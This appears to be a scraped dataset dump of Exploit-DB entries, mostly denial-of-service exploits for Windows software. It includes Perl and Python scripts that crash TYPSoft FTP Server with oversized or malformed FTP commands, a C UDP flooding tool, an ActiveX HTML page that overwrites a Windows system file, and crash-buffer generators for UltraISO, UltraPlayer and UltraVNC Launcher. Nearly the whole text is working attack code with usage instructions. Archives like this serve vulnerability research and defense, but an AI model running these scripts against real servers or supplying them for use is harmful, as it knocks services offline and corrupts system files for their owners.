deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20228
Description: TYPSoft FTP Server 0.7.x - FTP Server Remote Denial of Service
Type: dos
Platform: windows
Date: 1999-06-08
Author: dethy

Exploit:
source: https://www.securityfocus.com/bid/1690/info

Long commands (ie., over 2048 bytes) sent to TYPSoft FTP Server cab cause the server to hang, requiring a manual restart to restore the process.

After the release of this advisory Noam Rathaus from http://www.BeyondSecurity.com contributed the following addendum:

.. "this product is also vulnerable if you connect to the server, but not send anything (do the SYN/ACK sequence but disconnect immediately). This is due to the fact that they use a DELPHI TSocket class, which doesn't handle exceptions very well. " 

#!/usr/bin/perl
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 2048;
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $args{s},
PeerPort => "ftp(21)",
) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print $remote "USER $data". $EOL;
while (<$remote>){ print }
print("\nCrash was successful !\n");

sub usage {die("\n$0 -s <server>\n\n");}
Exploit-DB #36972
Description: TYPSoft FTP Server 1.1 - 'APPE' Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2012-03-19
Author: brock haun

Exploit:
source: https://www.securityfocus.com/bid/52554/info

TYPSoft FTP Server is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
import socket, sys
if len(sys.argv)!= 2:
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'
host = sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A../' + '\x41' *100
print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'
s.connect((host,21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('APPE ' + buffer + '\r\n')
print '\n\t[*] Done! Target should be unresponsive!'
s.close()
Exploit-DB #18615
Description: TYPSoft FTP Server 1.1 - 'APPE' Remote Denial of Service
Type: dos
Platform: windows
Date: 2012-03-17
Author: brock haun

Exploit:
#!/usr/bin/python
###############################################################################
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.
# Date of Discovery: 3/16/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/
# Software Version: 1.1
# Target OS: Windows 7
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default. 
###############################################################################

import socket, sys

if len(sys.argv)!= 2:
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)

print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


buffer = 'A../' + '\x41' *100 

print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'

s.connect((host,21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('APPE ' + buffer + '\r\n')

print '\n\t[*] Done! Target should be unresponsive!'

s.close()
Exploit-DB #23731
Description: TYPSoft FTP Server 1.1 - Remote CPU Consumption (Denial of Service)
Type: dos
Platform: windows
Date: 2004-02-20
Author: intuit bug_hunter

Exploit:
source: https://www.securityfocus.com/bid/9702/info

It has been reported that TYPESoft FTP Server is prone to a remote denial of service vulnerability that may allow an attacker to cause the server to crash.

This vulnerability has been reported to affect version 1.10 of the software, however, previous versions may also be affected. 

mkd //../qwerty
xmkd //../qwerty
dele //../qwerty
size //../qwerty
retr //../qwerty
stor //../qwerty
appe //../qwerty
rnfr //../qwerty
rnto //../qwerty
rmd //../qwerty
xrmd //../qwerty
Exploit-DB #12604
Description: TYPSoft FTP Server 1.10 - 'RETR' Denial of Service (1)
Type: dos
Platform: windows
Date: 2010-05-14
Author: Jeremiah Talamantes

Exploit:
# Tested on: Windows XP, SP2 (EN)

#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##             TYPSoft FTP Server RETR Command DoS             ##"
print "##                        Version 1.10                         ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   labs@redteamsecure.com                    ##"
print "################################################################# \n"

import socket
import sys

# Description:
# RETR command overflow with no PORT specified

# Define the exploit's usage
def Usage():
    print ("Usage: scriptname.py <IP> <username> <password>\n")
    print ("\n\nCredit: Jeremiah Talamantes")
    print ("RedTeam Security : www.redteamsecure.com/labs\n")

# Buffer
buffer="AAAA" * 496

def exploit(hostname,username,password):
	i=0
	while i < 10:
		i=i+1
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		try:
			sock.connect((hostname, 21))
		except:
			print ("Error: unable to connect to host")
			sys.exit(1)
		r=sock.recv(1024)
		print "[+] " + r + ": iteration number:  ",i
		sock.send("USER " + username + "\r\n")
		r=sock.recv(1024)
		sock.send("PASS " + password + "\r\n")
		r=sock.recv(1024)
		sock.send("RETR " + buffer + "\r\n")
		sock.close()
		
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    exploit(hostname,username,password)
    sys.exit(0)

# End
Exploit-DB #15860
Description: TYPSoft FTP Server 1.10 - 'RETR' Denial of Service (2)
Type: dos
Platform: windows
Date: 2010-12-29
Author: emgent

Exploit:
#!/usr/bin/python
#
# TYPSoft FTP Server (v 1.10) RETR CMD Denial Of Service
#
# CVE-2005-3294
# OSVDB 19992
#
# 12/23/2010
# (C) Emanuele Gentili <emgent@backtrack-linux.org>
#
# Notes:
# I have wrote this exploit because the code published here (1) do not work correctly.
# (1) http://www.exploit-db.com/exploits/12604/
#

import socket
import sys

user="test"
pwd="test"
buffer="\x41"

print("\n TYPSoft FTP Server (V 1.10) RETR CMD Denial Of Service\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.109",21))
data = s.recv(1024)
print("[+] Sending user login...")
s.send("USER " + user + '\r\n')
data = s.recv(1024)
s.send("PASS " + pwd + '\r\n')
data = s.recv(1024)
print("[+] Sending first exploit stage...")
s.send("RETR " + buffer + '\r\n')
data = s.recv(1024)
print("[+] Sending second exploit stage...\n")
s.send("RETR " + buffer + '\r\n')
data = s.recv(1024)
s.close()
Exploit-DB #10223
Description: TYPSoft FTP Server 1.10 - APPE DELE Denial of Service
Type: dos
Platform: windows
Date: 2009-11-24
Author: leinakesi

Exploit:
Bugtraq: http://seclists.org/bugtraq/2009/Nov/163

Date of Discovery: 24-Nov-2009

Credits:leinakesi[at]gmail.com

Vendor: TYPSoft

Affected:
TYPSoft FTP Server Version 1.10
Earlier versions may also be affected

Overview:
TYPSoft FTP Server is an easy use FTP server Application. Denial of Service vulnerability exists in TYPSoft FTP Server 
when 

"APPE" and "DELE" commands are used in the same socket connection.

Details:
If you could log on the server successfully, take the following steps and the ftp server will crash which would lead to 

Denial of Service attack:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()


Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys
import time

def Usage():
    print ("Usage:  ./expl.py   <local_ip>  <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 127.0.0.1 127.0.0.1 anonymous anonymous\n")
    print ("Example:./expl.py 192.168.48.183 192.168.48.111 anonymous anonymous\n")
if len(sys.argv) <> 5:
        Usage()
        sys.exit(1)
else:
    local=sys.argv[1]
    hostname=sys.argv[2]
    username=sys.argv[3]
    passwd=sys.argv[4]
    test_string="a"*30
    ip_every=local.split('.')
    for i in range(1,10000):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((hostname, 21))
        except:
            print ("Connection error!")
            sys.exit(1)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("user %s\r\n" %username)
        print "[-] "+ ("user %s\r\n" %username)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("pass %s\r\n" %passwd)
        print "[-] "+ ("pass %s\r\n" %passwd)
        r=sock.recv(1024)
        print "[+] "+ r
    
        sock_data.bind((local,31339))
        sock_data.listen(1)
        
        sock.send("PORT " + ip_every[0] +","+ ip_every[1] +","+ ip_every[2] +"," + ip_every[3] + ",122,107\r\n")
        print "[-] "+ ("PORT " + local + "122,107\r\n")
        r=sock.recv(1024)
        print "[+] "+ r
            
        sock.send("APPE "+ test_string +"\r\n")
        print "[-] "+ ("APPE "+ test_string +"\r\n")
        r=sock.recv(1024)
        print "[+] "+ r
        
        sock.send("DELE "+ test_string +"\r\n")
        print "[-] "+ ("DELE "+ test_string +"\r\n")
        r=sock.recv(1024)
        print "[+] "+ r    
         
        sock.close()
        sock_data.close()
        time.sleep(2)
                

 

    
    sys.exit(0);
Exploit-DB #18469
Description: TYPSoft FTP Server 1.10 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2012-02-07
Author: Balazs Makany

Exploit:
#!/usr/bin/perl

# Exploit Title: Typsoft FTP Server DoS CWD command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#

use IO::Socket;

$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "CWD ";
$dos_input = "."x250;
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);

$socket->recv($serverdata, 1024);
print $serverdata;

$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);


#!/usr/bin/perl

# Exploit Title: Typsoft FTP Server DoS NLST command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7 
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#

use IO::Socket;

$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "NLST ";
$dos_input = "/.../.../.../.../.../";
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);

$socket->recv($serverdata, 1024);
print $serverdata;

$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);


#!/usr/bin/perl

# Exploit Title: Typsoft FTP Server DoS SIZE command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#

use IO::Socket;

$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "SIZE ";
$dos_input = "/.../.../.../.../.../";
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);

$socket->recv($serverdata, 1024);
print $serverdata;

$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);
Exploit-DB #1251
Description: TYPSoft FTP Server 1.11 - 'RETR' Denial of Service
Type: dos
Platform: windows
Date: 2005-10-14
Author: wood

Exploit:
#!/usr/bin/perl

use IO::Socket;
use Socket;

print "\n-= TYPSoft FTP Server <= v1.11 DOS =-\n";
print "-= wood (at) Exploitlabs.com =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl typsoft-1.11-DOS.pl <host> <user> <pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err1 = "RETR 0";
$err2 = "RETR 1";


$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: cant send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n" or die
"Error: cant send pass\n";

print $remote "$err1/\n" and print "3. Sending : ErrorCode 1...\n";
print $remote "$err2/\n" and print "4. Sending : ErrorCode 2...\n\n"or die 
"Error: cant send error code\n";

print "Attack done. press any key to exit\n";
$bla= <STDIN>;
close $remote; 

# milw0rm.com [2005-10-14]
Exploit-DB #345
Description: UDP Stress Tester - Denial of Service
Type: dos
Platform: windows
Date: 2002-09-10
Author: Cys

Exploit:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define shit "BLEAHD"

time_t elapsed;
long sendcount = 0, kbs;

void stats(int signum)
{
	kbs = (sendcount*6)/(time(0)-elapsed)/1024; // i dont think this is right but...
	printf("\npid: %d, ran for %u seconds\n",getpid(),(time(0) - elapsed));
	printf("%u packets out, total: %u Kb/s\n",sendcount,kbs);
	printf("aborting due to signal %d\n",signum);
	exit(32+signum);
}

void
usage(char *pname) {
 printf("raped.c by cys of NewNet\n");
 printf("Usage: %s dest[ip] x[0=flood] port[0=rand] delay(ms)[0=none]\n",pname);
 exit(-1);
}

int main(int argc, char **argv)
{
	struct sockaddr_in sin;
	int port, amount, i, s;
	elapsed = time(0);
	{int n;for (n=1;n<32;n++) signal(n,stats);}
	if(argc < 5)
		usage(argv[0]);
    
	if (atoi(argv[2]) != 0) { 
		amount = atoi(argv[2]); 
	} else { 
		amount = 0; 
	} 
 
	if(atoi(argv[3]) == 0)
	{
		srand((unsigned int)time(NULL));
		port = rand() % 65535;
	} else {
		if(atoi(argv[3]) < 1 || atoi(argv[3]) > 65535)
		{
			printf("Port must be over 1 and under 65535\n");
			exit(-1);
		} else {
			port = atoi(argv[3]);
		}
	}

	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr=inet_addr(argv[1]);
	sin.sin_port=htons(port);
	s = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
	connect(s,(struct sockaddr *)&sin,sizeof(sin)); // connect in udp? il just leave it..
	printf("raped2.c by cys of NewNet\n");
	if(amount == 0) {
		printf("ip:%s x:0 port:%d delay:%d\n",argv[1],port,atoi(argv[4]));
		for(;;) {
			send(s,shit,50,0);
			sendcount++;
			if(atoi(argv[4])!=0) usleep(atoi(argv[4]));
		}
	} else {
		printf("ip:%s x:%d port:%d delay:%d\n",argv[1],amount,port,atoi(argv[4]));
		for(i=0;i<amount;i++){
			send(s,shit,50,0); 
			sendcount++;
			if(atoi(argv[4])!=0) usleep(atoi(argv[4]));
		}
	}
	printf("Exiting...\n");
}


// milw0rm.com [2002-09-10]
Exploit-DB #6319
Description: Ultra Office - ActiveX Control Arbitrary File Corruption
Type: dos
Platform: windows
Date: 2008-08-27
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 Ultra Office ActiveX Control Remote Arbitrary File Corruption
 url: http://www.ultrashareware.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   dim remURL
   remURL = "http://SomeSite.com/SomeFile.doc"
   test.Open remURL, True
   test.Save "C:\WINDOWS\_system.ini", True
 End Sub
</script>

# milw0rm.com [2008-08-27]
Exploit-DB #21612
Description: Ultrafunk Popcorn 1.20 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2002-07-11
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5212/info

Ultrafunk Popcorn email client is designed for Microsoft Windows systems and is no longer being maintained.

It has been reported that Popcorn email client will stop responding when attempting to open malformed messages.

Reportedly, a message containing an unusual amount of data or a malformed string of characters in the subject field will initiate a denial of service. This has also been known to occur when the date field of a mail message has the year specified higher than 2037. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21612.tgz
Exploit-DB #45996
Description: UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-12-14
Author: Francisco Ramirez

Exploit:
# Exploit Title: UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC) and Pointer to next SEH and SE handler records overwrite
# Discovery by: Francisco Ramirez
# Discovery Date: 2018-12-14
# Vendor Homepage: https://www.ultraiso.com/
# Software Link : https://www.ultraiso.com/download.html
# Tested Version: 9.7.1.3519
# Tested on: Windows 10 Pro - 64 bit
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
 
# Steps to Produce the Crash: 
# 1.- Run python code : python UltraISO_9.7.1.3519.py
# 2.- Open UltraISO_9.7.1.3519.txt and copy content to clipboard
# 3.- Open UltraISO_9.7.1.3519
# 4.- In the Window select 'Tools' > 'Make CD/DVD Image' 
# 5.- In the field  'Output FileName' remove the default path.
# 6.- Paste the content of UltraISO_9.7.1.3519.txt into the field: 'Output FileName'
# 7.- Click 'Make' and you will see a crash.
 
#!/usr/bin/env python
  
a_letters = "\x41" * 304
seRecord = "\x42" * 4
sehRecord = "\x43" * 4
buffer = a_letters + seRecord + sehRecord
f = open ("UltraISO_9.7.1.3519.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #9368
Description: UltraPlayer Media Player 2.112 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-05
Author: SarBoT511

Exploit:
#!/usr/bin/perl

#UltraPlayer Media Player 2.112

#Coded by SarBoT511

#Download : http://download.cnet.com/UltraPlayer-Media-Player/3000-2139_4-10041974.html?tag=mncol

#GreatZ [ 2] : nEt^DeV!L [s4udi~cod3r] , dev1l fucker , The gobL!n , alM511 , BlacK_Zero , l!NUX_dROUx,HCJ.

#The Bug in thes place (C:\Program Files\UltraPlayer\Skins\Derailer.usk)

#EAX 00EDFBC0
#ECX 000002F4
#EDX 00000000
#EBX 41414141
#ESP 0012FB78
#EBP 0012FB80
#ESI 00EDEFF0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#EDI 00000000
#EIP 00471733 UPlayer.00471733


$str="A"x 5000;
$file="Derailer.usk";
open(my $FILE, ">>$file") or die "Error opening file.n";
print $FILE $str ;
close($FILE);
print "$file has been created.n";

# milw0rm.com [2009-08-05]
Exploit-DB #46703
Description: UltraVNC Launcher 1.2.2.4 - 'Path' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-15
Author: Victor Mondragón

Exploit:
#Exploit Title: UltraVNC Launcher 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Launcher_1.2.2.4.py
#2.- Open UltraLauncher.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Path vncviewer.exe" Paste Clipboard
#6.- Click on "OK"
#7.- Crashed

cod = "\x41" * 300

f = open('UltraLauncher.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #48290
Description: UltraVNC Launcher 1.2.4.0 - 'Password' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-04-06
Author: chuyreds

Exploit:
# Exploit Title: UltraVNC Launcher 1.2.4.0 - 'Password' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Launcher_Password.py
#2.- Open UltraVNC_1.2.40-Launcher_Password.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Password" Paste Clipboard
#6.- Click on "OK"
#7.- Click on "Propieties"
#8.- Crashed

cod = "\x41" * 300

f = open('UltraVNC_1.2.40-Launcher_Password.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #48288
Description: UltraVNC Launcher 1.2.4.0 - 'RepeaterHost' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-04-06
Author: chuyreds

Exploit:
# Exploit Title:  UltraVNC Launcher 1.2.4.0 - 'RepeaterHost' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Launcher_RepeaterHost.py
#2.- Open UltraVNC_1.2.40-Launcher_RepeaterHost.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Repeater host" Paste Clipboard
#6.- Click on "OK"
#7.- Crashed

cod = "\x41" * 300

f = open('UltraVNC_1.2.40-Launcher_RepeaterHost.txt', 'w')
f.write(cod)
f.close()